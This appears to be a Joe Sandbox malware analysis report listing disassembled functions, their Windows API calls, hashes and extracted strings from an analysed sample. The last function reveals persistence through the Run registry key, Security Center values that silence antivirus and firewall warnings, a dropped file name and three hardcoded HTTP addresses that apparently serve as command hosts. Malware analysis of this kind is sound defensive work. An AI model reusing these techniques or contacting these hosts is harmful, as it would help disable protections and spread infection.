Part of subcall function 004017A0: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
Part of subcall function 004017A0: LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: Interlocked$CriticalExchangeSection$DecrementEnterLeave
String ID:
API String ID: 3966618661-0
Opcode ID: 465430f324d41f9d9d9732ee1befa355f4717a0d242bba6110d7f62502904e98
Instruction ID: 9f2c4cc69d55b471d510ac50d158e14e0eacb849a4393371b11790265c13a883
Opcode Fuzzy Hash: 465430f324d41f9d9d9732ee1befa355f4717a0d242bba6110d7f62502904e98
Instruction Fuzzy Hash: 5841D175604B02ABC714DB38D848797F3A4BF84310F18823EE86D933D1E739A855CB99

Function 0040B030 Relevance: 7.6, APIs: 5, Instructions: 74fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(0041AC50,40000000,00000000,00000000,00000002,00000002,00000000), ref: 0040B0C8
WriteFile.KERNEL32(000000FF,00000000,?,?,00000000), ref: 0040B0E9
FlushFileBuffers.KERNEL32(000000FF), ref: 0040B0F3
CloseHandle.KERNEL32(000000FF), ref: 0040B0FD
InterlockedExchange.KERNEL32(00419828,0000003D), ref: 0040B10A

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
String ID:
API String ID: 442028454-0
Opcode ID: 5693974f53a6f553ee872c1498f347a7cdbd554753dda3213ec7bc77a9e739f7
Instruction ID: 65abf3b26d1f33ce57344cf3d4c90c2ddc2d392c326f45743aae56010b0155a0
Opcode Fuzzy Hash: 5693974f53a6f553ee872c1498f347a7cdbd554753dda3213ec7bc77a9e739f7
Instruction Fuzzy Hash: D33149B8A40208EBCB14DF94EC45FAEB7B1FB48300F208569E511A7391D775AA51CB9A

Function 00408F40 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 00408F4E
_allshl.NTDLL ref: 00408F5D
_allshl.NTDLL ref: 00408F6C
_allshl.NTDLL ref: 00408F7B
_allshl.NTDLL ref: 00408F8A

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: _allshl
String ID:
API String ID: 435966717-0
Opcode ID: e97f6b688e4649d03a543f53d1e87ffd622cab317a47a1f81aa90ba96deec30e
Instruction ID: b0d0b2528f3aca05c18ea064ccca22ed782aa92eb9f3aacb3aeadda2a23aac7b
Opcode Fuzzy Hash: e97f6b688e4649d03a543f53d1e87ffd622cab317a47a1f81aa90ba96deec30e
Instruction Fuzzy Hash: 92F01272A01414979B14EEFE84424CAF7E59F88374B218176FD1CE3260E570B90546F1

Function 00401330 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 00401346
WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 00401352
CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 0040135C

Part of subcall function 0040A660: HeapFree.KERNEL32(00000000,00000000,00402612,?,00402612,?), ref: 0040A6BB

Strings

pdu, xrefs: 00401339

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: CloseEventFreeHandleHeapObjectSingleWait
String ID: pdu
API String ID: 309973729-2320407122
Opcode ID: 2fd66f5c1125709e912b082e2c73e8d5efb2a89a668c62a8ecc72b7ea0d0f82b
Instruction ID: 49315f9b5d193dc364c5f28f0bcb7aa8bb44b0403a6660fc991bd28791f727bd
Opcode Fuzzy Hash: 2fd66f5c1125709e912b082e2c73e8d5efb2a89a668c62a8ecc72b7ea0d0f82b
Instruction Fuzzy Hash: A901D6B65003009BCB209F61ECC4D9B7778AF48310708467AFC05AB396CA39E8508775

Function 004062C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(0040629F), ref: 004062CD
QueryDosDeviceW.KERNEL32(0040629F,?,00000208), ref: 0040630C
StrCmpNW.SHLWAPI(?,\??\,00000004), ref: 00406324

Strings

\??\, xrefs: 00406318

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: DeviceDriveQueryType
String ID: \??\
API String ID: 1681518211-3047946824
Opcode ID: 1f4486d3417c416fbe6947eda0d50e0154391f7c0caa962a9d661e7b197f6568
Instruction ID: fe1cba3e8f96ca8ec28924db8accccc61f2e919e988f9d14e04ecf4ac666ff3a
Opcode Fuzzy Hash: 1f4486d3417c416fbe6947eda0d50e0154391f7c0caa962a9d661e7b197f6568
Instruction Fuzzy Hash: 1901FFB0A4021CEBCB20DF55DD49BDAB7B4AB04704F00C0BAAA05A7280E6759ED5DF9C

Function 00401100 Relevance: 6.1, APIs: 4, Instructions: 86synchronizationCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 0040112B
recvfrom.WS2_32 ref: 0040119C
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004011B2
WaitForSingleObject.KERNEL32(?,00000001), ref: 004011D3

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
String ID:
API String ID: 3980219359-0
Opcode ID: ab8b34524f24c7ff0ec759a8db121372cfa49b223874d41307e8bdf502b19990
Instruction ID: dd229b18b8e608a96638b9a50d19e2d27eaf393d2ffc9a5ffa46aac6cea4a516
Opcode Fuzzy Hash: ab8b34524f24c7ff0ec759a8db121372cfa49b223874d41307e8bdf502b19990
Instruction Fuzzy Hash: 7C21C3B1504301AFD304DF65DC84A6BB7E9EF88318F004A3EF555A6290E774D9588BEA

Function 00401F50 Relevance: 6.1, APIs: 4, Instructions: 73networkCOMMON

Download Yara Rule

APIs

GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401F83
WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 00401FAF
WSAGetLastError.WS2_32 ref: 00401FB9
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401FF9

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
String ID:
API String ID: 2074799992-0
Opcode ID: 6bed54afebf4a7a641f0d3d0188a4da0f589ce10c8675e9945177f158b09e6ba
Instruction ID: 85cdc4ac02e7a7d961e62fa06f42dc9c3305788cd6d7a2bd32de2e1c20a60a18
Opcode Fuzzy Hash: 6bed54afebf4a7a641f0d3d0188a4da0f589ce10c8675e9945177f158b09e6ba
Instruction Fuzzy Hash: DD212F715083159BC200DF55D884D5BB7E8BFCCB54F044A2EF59493291D734EA49CBAA

Function 00407300 Relevance: 6.1, APIs: 4, Instructions: 60sleepCOMMON

Download Yara Rule

APIs

StrChrA.SHLWAPI(00000000,0000007C), ref: 00407326
DeleteUrlCacheEntry.WININET(00000000), ref: 00407348
Sleep.KERNEL32(000003E8), ref: 00407361
DeleteUrlCacheEntry.WININET(?), ref: 00407389

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: CacheDeleteEntry$Sleep
String ID:
API String ID: 672405725-0
Opcode ID: 0889daea8db3d00c114acb4ae5d662601a50873d8cf4ae377a86a09432f2b769
Instruction ID: e789c4acaeed7b47b7c3c4d69342d3bd95a049e3571e2ded942ca122a7fff21c
Opcode Fuzzy Hash: 0889daea8db3d00c114acb4ae5d662601a50873d8cf4ae377a86a09432f2b769
Instruction Fuzzy Hash: A5218175E04208FBDB04DFA4D885B9E7B74AF44309F10C4A9ED416B391D679AB80DB49

Function 00401C50 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401C88
WSAGetLastError.WS2_32(?,?,004021A5,00000000), ref: 00401C90
Sleep.KERNEL32(00000001,?,?,004021A5,00000000), ref: 00401CA6
WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401CCC

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: Recv$ErrorLastSleep
String ID:
API String ID: 3668019968-0
Opcode ID: 115ea0e646e0c4f71d919f36be7c9bac7cbabd22de7b6b0e5f0bd0a6bc0a71ea
Instruction ID: df3cbe2ca7d05c2b70b960210cdf5b20c1916dde76b22b2cec88194eea221140
Opcode Fuzzy Hash: 115ea0e646e0c4f71d919f36be7c9bac7cbabd22de7b6b0e5f0bd0a6bc0a71ea
Instruction Fuzzy Hash: 6A11AD72148305AFD310CF65EC84AEBB7ECEB88710F40492AF945D2140E679E94997B6

Function 00401AE0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON

Download Yara Rule

APIs

WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B0C
WSAGetLastError.WS2_32 ref: 00401B12
Sleep.KERNEL32(00000001), ref: 00401B28
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B4A

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: Send$ErrorLastSleep
String ID:
API String ID: 2121970615-0
Opcode ID: 68b99e883f80ec4d8e473af3bb6ab78542c6fab184647b02e4118960a37caac2
Instruction ID: 6027246a5f20d5291fae036152240cd5c1f9414458335baedc5b4335fd2ad738
Opcode Fuzzy Hash: 68b99e883f80ec4d8e473af3bb6ab78542c6fab184647b02e4118960a37caac2
Instruction Fuzzy Hash: 8F014F712483046EE7209B96DC88F9B77A8EBC4711F508429F608961C0D7B5A9459B79

Function 0040D8C0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 0040D8D9
CloseHandle.KERNEL32(?), ref: 0040D908
LeaveCriticalSection.KERNEL32(?), ref: 0040D917
DeleteCriticalSection.KERNEL32(?), ref: 0040D924

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: CriticalSection$CloseDeleteEnterHandleLeave
String ID:
API String ID: 3102160386-0
Opcode ID: 52aae5ad70f9b3043191c8c3e05b1acc6f9f728bea5bc6a869e37892dc5a7148
Instruction ID: 6abb592c5b2ce8a5c046663d5def4690e4bb0a573cdaefcdc4ae98697e0ceaa0
Opcode Fuzzy Hash: 52aae5ad70f9b3043191c8c3e05b1acc6f9f728bea5bc6a869e37892dc5a7148
Instruction Fuzzy Hash: 4E1161B4D00208EBDB08DF94D984A9DB775FF44309F1485A9E806A7341C739EF94DB85

Function 004017A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 00401808

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked
String ID:
API String ID: 2223660684-0
Opcode ID: 1975e189502b1b2e69aa421ca111548c6a80ae828394947d262874ebca66cfab
Instruction ID: 487697b266744d2b5c3d358b1528705abebcded3db4b06867e0c0ac6ea0c4339
Opcode Fuzzy Hash: 1975e189502b1b2e69aa421ca111548c6a80ae828394947d262874ebca66cfab
Instruction Fuzzy Hash: 4A01F7792423049FC3209F26ED84A9B73F8AF45711F04443EE44693650DB39E401CB28

Function 00406F70 Relevance: 6.0, APIs: 4, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,00407ECD), ref: 00406F78
SysAllocString.OLEAUT32(0041AA40), ref: 00406F83
CoUninitialize.OLE32 ref: 00406FA8

Part of subcall function 00406FC0: SysFreeString.OLEAUT32(00000000), ref: 004071D8

SysFreeString.OLEAUT32(00000000), ref: 00406FA2

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: String$Free$AllocInitializeUninitialize
String ID:
API String ID: 459949847-0
Opcode ID: aac59f4c634c6c7e69739dc525912ddcdb212d49f49b460d16b2d8434ec6ae87
Instruction ID: c509d36c12d7ba2a5f650eb278e956dc9bc0801d495f3ab7a1e1adcf34b7a620
Opcode Fuzzy Hash: aac59f4c634c6c7e69739dc525912ddcdb212d49f49b460d16b2d8434ec6ae87
Instruction Fuzzy Hash: 57E0DFB4941308FBCB00EBE0EE0EB8D7738EB04315F004078F90267291DABA9E90CB19

Function 00406FC0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON

Download Yara Rule

APIs

Part of subcall function 00407250: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 00407270

SysFreeString.OLEAUT32(00000000), ref: 004071D8

Strings

Microsoft Corporation, xrefs: 00407146

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: CreateFreeInstanceString
String ID: Microsoft Corporation
API String ID: 586785272-3838278685
Opcode ID: 0f33dd4f09808e29644e00a9613dd62e49f7ac0aadddbd45ce77e6b9e4c1ac58
Instruction ID: 3bd6e37ccb81fb26e20ba6f4aecac2bab56e95e75b440682a2c5ba52433a4c42
Opcode Fuzzy Hash: 0f33dd4f09808e29644e00a9613dd62e49f7ac0aadddbd45ce77e6b9e4c1ac58
Instruction Fuzzy Hash: 2D91EC75A0410ADFCB04DF94C894AAFB7B5BF49304F208169E515BB3E0D734AD41CBA6

Function 0040DE30 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 0040E070: memset.NTDLL ref: 0040E098
Part of subcall function 0040E070: InternetCrackUrlA.WININET(0040DB49,00000000,10000000,0000003C), ref: 0040E0E8
Part of subcall function 0040E070: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E0F8
Part of subcall function 0040E070: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E131
Part of subcall function 0040E070: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E167
Part of subcall function 0040E070: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E18F
Part of subcall function 0040E070: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E1D8
Part of subcall function 0040E070: InternetCloseHandle.WININET(00000000), ref: 0040E267

Part of subcall function 0040DF60: SysAllocString.OLEAUT32(00000000), ref: 0040DF8E
Part of subcall function 0040DF60: CoCreateInstance.OLE32(004128F0,00000000,00004401,004128E0,00000000), ref: 0040DFB6
Part of subcall function 0040DF60: SysFreeString.OLEAUT32(00000000), ref: 0040E051

SysFreeString.OLEAUT32(00000000), ref: 0040DF0B
SysFreeString.OLEAUT32(00000000), ref: 0040DF15

Strings

%S%S, xrefs: 0040DEF6

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
String ID: %S%S
API String ID: 1017111014-3267608656
Opcode ID: a146118a585c525953cbf50a01d03d7454997d8c312527b14433dc9a100378f5
Instruction ID: c1d615742e0f1fe272601d31d467041fc69409a08f8fe5a36c80dfd154d40f90
Opcode Fuzzy Hash: a146118a585c525953cbf50a01d03d7454997d8c312527b14433dc9a100378f5
Instruction Fuzzy Hash: 5F414BB5E0020A9FCB04DFE4C885AEFB7B9BF48304F148569E505B7390D738AA45CBA5

Function 0040DAF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,?,00407EC8), ref: 0040DAFA

Part of subcall function 0040DBC0: socket.WS2_32(00000002,00000002,00000011), ref: 0040DBDA
Part of subcall function 0040DBC0: htons.WS2_32(0000076C), ref: 0040DC10
Part of subcall function 0040DBC0: inet_addr.WS2_32(239.255.255.250), ref: 0040DC1F
Part of subcall function 0040DBC0: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040DC3D
Part of subcall function 0040DBC0: bind.WS2_32(000000FF,?,00000010), ref: 0040DC73
Part of subcall function 0040DBC0: lstrlenA.KERNEL32(00411C48,00000000,?,00000010), ref: 0040DC8C
Part of subcall function 0040DBC0: sendto.WS2_32(000000FF,00411C48,00000000), ref: 0040DC9B
Part of subcall function 0040DBC0: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040DCB5

Part of subcall function 0040DE30: SysFreeString.OLEAUT32(00000000), ref: 0040DF0B
Part of subcall function 0040DE30: SysFreeString.OLEAUT32(00000000), ref: 0040DF15

Strings

UDP, xrefs: 0040DB88
TCP, xrefs: 0040DB6B

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
String ID: TCP$UDP
API String ID: 1519345861-1097902612
Opcode ID: f2a508b97fbae45076dd5aa5ad3ba9adeb76e4e7dff97a5c25cb73082fa5fcae
Instruction ID: 6b43ad666573891978052671c2ef92d80966ae61c726f1f98895f42c7cfd0708
Opcode Fuzzy Hash: f2a508b97fbae45076dd5aa5ad3ba9adeb76e4e7dff97a5c25cb73082fa5fcae
Instruction Fuzzy Hash: 13117CB5D00208ABDB00EFE5DC46BAEB375EB44308F10856AE405772C6D7786A64CF9A

Function 00405E50 Relevance: 5.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0041A400,?,00000000,?), ref: 00405E5F
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405E9E
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405F13
LeaveCriticalSection.KERNEL32(0041A400), ref: 00405F30

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: CriticalSectionmemcpy$EnterLeave
String ID:
API String ID: 469056452-0
Opcode ID: ca7ff8a173ea6a847f8488c1e8f62911d32ba33057f6ba12d9e30303517d8d68
Instruction ID: 7768dcd7b9dbcee261a05c0b48706a70a5e16e7133226d349280dc208485dc19
Opcode Fuzzy Hash: ca7ff8a173ea6a847f8488c1e8f62911d32ba33057f6ba12d9e30303517d8d68
Instruction Fuzzy Hash: 73216B70D04208ABDB04DF94D889BDEB771EB44304F14C1BAE84567281C3BDAA95CF9A

Analysis Process: 1146722911.exePID: 2060, Parent PID: 5588COMMON

Execution Graph

Execution Coverage:	55.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	36.8%
Total number of Nodes:	144
Total number of Limit Nodes:	12

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00DB1840 Relevance: 143.9, APIs: 52, Strings: 30, Instructions: 399
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 00DB1850
CreateMutexA.KERNELBASE(00000000,00000000,?), ref: 00DB18E8
GetLastError.KERNEL32 ref: 00DB18F4
ExitProcess.KERNEL32 ref: 00DB1903
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00DB196D
PathFindFileNameW.SHLWAPI(?), ref: 00DB197A
wsprintfW.USER32 ref: 00DB1999
DeleteFileW.KERNELBASE(?), ref: 00DB19A9
wcscmp.MSVCR90 ref: 00DB19C2
ExitProcess.KERNEL32 ref: 00DB19E1

Strings

AntiSpywareOverride, xrefs: 00DB1D04
FirewallOverride, xrefs: 00DB1BBA
%userprofile%, xrefs: 00DB1AC3
UpdatesOverride, xrefs: 00DB1C55
FirewallOverride, xrefs: 00DB1CC6
AntiSpywareOverride, xrefs: 00DB1BF8
AntiVirusOverride, xrefs: 00DB1C17
http://193.233.132.177/, xrefs: 00DB18B5
http://91.202.233.141/, xrefs: 00DB18AB
http://185.215.113.66/, xrefs: 00DB18A1, 00DB1E2B
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00DB1B28
Windows Service, xrefs: 00DB1894
%s%s, xrefs: 00DB1E2C
UpdatesDisableNotify, xrefs: 00DB1D80
UpdatesOverride, xrefs: 00DB1D61
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00DB1A58
AntiVirusDisableNotify, xrefs: 00DB1C36
SOFTWARE\Microsoft\Security Center, xrefs: 00DB1B95
UpdatesDisableNotify, xrefs: 00DB1C74
%windir%, xrefs: 00DB19F3
%s:Zone.Identifier, xrefs: 00DB198D
SOFTWARE\Microsoft\Security Center\Svc, xrefs: 00DB1CA1
AntiVirusOverride, xrefs: 00DB1D23
winploravr.exe, xrefs: 00DB1880
FirewallDisableNotify, xrefs: 00DB1BD9
%s\%s, xrefs: 00DB1ADC
xouauxuax, xrefs: 00DB1856
%s\%s, xrefs: 00DB1A0C
FirewallDisableNotify, xrefs: 00DB1CE5
AntiVirusDisableNotify, xrefs: 00DB1D42

Memory Dump Source

Source File: 00000007.00000002.3859284184.0000000000DB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000007.00000002.3859253555.0000000000DB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.3860898504.0000000000DB3000.00000002.00000001.01000000.00000008.sdmpDownload File
